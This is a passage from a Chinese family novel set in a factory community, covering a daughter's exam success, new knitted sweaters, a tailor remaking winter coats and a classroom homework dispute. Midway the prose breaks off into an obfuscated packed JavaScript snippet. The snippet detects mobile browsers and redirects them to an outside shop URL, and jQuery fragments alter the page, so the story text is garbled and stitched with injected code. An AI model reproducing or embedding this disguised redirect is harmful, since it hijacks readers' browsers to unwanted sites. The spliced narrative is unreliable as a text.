马冬兰满脸难以置信的表情,凑近细看,还真的是90分和91分。
她不由嗓门提高了八度:“这还叫考得不好?!”
她家小军这次语文考了84分,数学89,已经是最接近90分的一次了,她还觉得儿子有进步了呢。
其实王小军成绩一般,并不属于班级顶尖那档,平时也就靠和程家小囡比较来获得一点优越感,谁知道这次反叫程家小囡比下去了!
程守萍点点头:“是没考好,有几题本来会做的,哎,粗心了。对了……”她笑眯眯地问,“小军哥哥这次考了多少分啊?”
马冬兰:“……”
被反将了!
因为马冬兰情绪激动,说话嗓门也拔高了,大食堂里吃饭的工人们从刚才开始就注意到了她们,甚至还有好事者端着饭盆跑到近处来,边吃边打听情况。
马冬兰这才发现已经围了这么多人过来,投过来的眼神大多带着讥笑之意,都等着看好戏呢。
她一张圆胖脸涨得通红,憋了半天也没能当众说出王小军的分数,只好说:“我,我还没问过他呢。”丢下这句就从人群中挤了出去,匆匆离开食堂。
走出好远,她才想起来自己饭忘了打,但这会儿再叫她折回食堂去打饭,那她是死也不回去的。
程根生也是才知道女儿这次居然考得这么好。他刚才本想问的,但看女儿只字不提考试分数,只顾低头扒饭的样子,猜想可能是考砸了。
食堂里那么多人,小囡也要脸面的,她这段时间那么用功读书背书,万一没考好,心里不是更难过?
所以程根生想想还是在回家路上再问她,要真是考砸了,还得鼓励鼓励她,让她别灰心。
想不到这次考了两个90分以上,老师还表扬她进步大,给她打了五角星。
程根生内心喜悦,起身去食堂窗口添菜,问下来大排和狮子头已经卖完了,红烧肉女儿又嫌太油腻,就买了两个荷包蛋回来。
食堂做的荷包蛋,煎完之后还会放点酱油水和白糖煮一会儿,咸中带甜,水润润油汪汪的。
宏宏已经吃完饭了,一看到荷包蛋,口水又出来了,可爸爸说这是姐姐考试考得好的奖励。
他羡慕地看着姐姐碗里的荷包蛋,可怜兮兮地问:“我什么时候可以考试啊?”
程根生和程守萍都笑了。程根生摸摸他头:“等你上学以后。”
宏宏不服气地说:“我现在天天上学啊!”
“你那是幼儿园,不考试的。只有上小学才有考试。”
宏宏嘟嘴:“我也要上小学。”上小学真好啊,有考试,还有荷包蛋奖励!
程守萍简直要被他笑死,等他真上学了,不要天天哭唧唧就好。
之后几天,经常有和程根生熟悉的工人,在厂里看到程守萍就问她考了多少分,基本都是善意的,问完之后还会夸她几句。
也有那特别好事的,追着马冬兰问王小军考了多少分。马冬兰就从鼻子里“哼”一声,送他两个卫生球。
-
分数出来的这天晚上,回家时在楼道里遇到了二楼的邻居樊美娟。
两家都住着厂里分的新工房,楼上楼下,平时低头不见抬头见的,关系处得不错。瞧见父女三人都乐呵呵的,樊美娟便顺口问了句:“老程,瞧你这开心样子,有啥好事啊?”
程根生语气里带着自豪,笑呵呵地说:“萍萍期中考试考得蛮好的,老师还夸她进步非常大。”
“呦!那是开心的。萍萍本来就是聪明小囡呀,读书么稍微认真点,分数就上去了呀。”
樊美娟顺着夸了几句,一边打量着程守萍:“萍萍好像长高了不少啊……眼看着天要冷了,你看她穿的绒线衫都短了一截,老程,要不要我帮萍萍改一下,袖口这边接长一点?”
哎,单身男人带小囡就是粗枝大叶的,只知道让小囡吃饱就好了,眼看这几个月小姑娘个头窜了不少,袖口、裤脚都明显短了一截。老程也不知道替她换身大点尺码的衣裤。
程根生经樊美娟提醒才注意到,女儿这段时间确实长高了不少,不管是校服,还是里面穿的绒线衫都显得不合身了。
这件绒线衫还是秀珍两年前织的,当时是往大里织,她说小囡长得快,织大点可以多穿点时间。
转眼萍萍已经长高了许多,让这件绒线衫都嫌小了。可秀珍却看不到了。
程根生鼻根微酸,眨了眨眼,对樊美娟点点头:“你说得对,是嫌小了。你要是有空,能不能帮萍萍织两件新的?绒线要用多少?都我来买。还有这个月的烟票够不够老张抽的?我这里香烟票还有。”
樊美娟笑着道:“绒线我来买就好,你一个男人家又不懂买什么绒线才合适,反正到时候用掉多少绒线,我跟你报个数不就行了?每个月那点烟票倒是真不够老张抽的,但是你给他多少他就抽多少,还不如不给他,那点点份额抽光算数。”
也就过了七八天,樊美娟织好两件钴蓝色绒线衫,胸前有白色的雪花图案,绒线衫一大一小,还用多余的同色绒线织了两双手套和两条围巾,姐弟俩一人一套。走出去一眼就知道是一家人。隔几天又织好两套,米黄色和浅咖啡色的条纹交织,姐姐的是细条纹,文雅细巧,弟弟的是宽条纹,大方活泼。
程根生感激她用心,除了买绒线的钱之外,还把当季的香烟票给了她。
樊美娟没有多推辞,最后还是收下了,但她也不打算买额外的烟给老张抽,香烟票么黄牛会收的呀。老程给的烟票还挺多,她晚上空下来就织织绒线,后来又给姐弟俩各织了两条绒线裤,过冬都没问题。
经樊美娟提醒,程根生想起快要入冬了,回家就打开大衣橱,翻出过冬的棉袄,让姐弟俩套身上试了试,果然是小了,扣子几乎要扣不上,勉强扣起来也是紧巴巴的。
宏宏小脸憋得通红,直喊:“胸口闷!胸口闷!”
程根生赶紧给他解了扣子,棉袄脱掉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059908|195018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
往年这些事都是秀珍在操持,他一时没方向,只好又拿了棉袄下楼去问。
樊美娟细细教他:“你带好布票、棉花票,去菜场旁边的那条小弄堂,里相有个老师傅,手艺老好的,价钱也公道。你叫他帮你把棉袄翻翻新,放大一点。记得带两个小囡去量尺寸啊。”
程根生记住了,隔天正好轮休,他便带上姐弟俩去找老裁缝改棉袄。
裁缝铺门面非常窄小,大约就一米左右的宽度,也没有招牌,要不是樊美娟预先提醒,程家父女可能就直接走过去了。
这铺子对外的窗口,其实就是在门旁边的墙上开了个洞,老裁缝正坐在里面踩缝纫机。
听到要改棉袄,老裁缝让两个小囡进来量尺寸,程根生站在窗洞外面朝里看,屋里面黑魆魆的,也不知道这老裁缝是怎么看清楚针线的。
“啪!”裁缝拉了下灯绳,日光灯闪烁了几下,屋里亮堂不少。
尺寸量好,老裁缝在一本小本子上写写算算,对程根生道:“旧料子拆下来可以做衬里,外面用新布,看起来就像新棉袄一样。另外改大还要再添点新棉花进去。”
随后老裁缝丢给他一沓钉在一起的布条,让他选料子。
程根生也不知道选啥好,直接传给了女儿:“你来挑。”
程守萍给自己选了个浅棕色的细条灯芯绒面料,给弟弟选了个墨绿色的灯芯绒。
程根生付了钱和布票棉花票。转身带姐弟俩回家,一路上问程守萍:“你们校服现在可以买吗?”
程守萍摇摇头:“陈老师说,校服都是开学的时候统一订,厂家不接受一件两件的单。等下学期开学就能买新校服了。”
程根生不由内疚,他居然那么久了都没发现女儿的校服不合身。
程根生有两个姐妹,小囡都比宏宏大,穿不下的衣服就拿来给宏宏。三、五岁的孩子还不太费衣服,两个嬢嬢拿来的衣服都有七八成新,足够宏宏换穿的,所以程根生不由忽略了给小囡换衣这件事。
他心带愧疚,摸了摸女儿的头,像是说给她听的,又像是说给自己听:“等开学了,订两套新校服。”
-
期中考试成绩出来后没几天,班里发生了一件事。
早晨作业本收上去,陈老师发现沈继舟和另外一个同学的作业没交,上课的时候就问他们。
另一个同学是真没交,但沈继舟明明是交了作业的。
陈老师也知道沈继舟不会无缘无故不交作业,没有批评他,只让他在课间补上该交的作业。
下课后程守萍和蔡琳玲一分析,语文作业是曹俊收齐后送到老师办公室的,沈继舟交了,老师没收到,只能是曹俊在把作业送去老师办公室的路上动了手脚。
蔡琳玲出主意,让王新宇引开曹俊,她们去搜曹俊的课桌和书包,要是能找到沈继舟的作业本就是铁证了。
王新宇连连点头,摩拳擦掌只等大家都同意了就去干。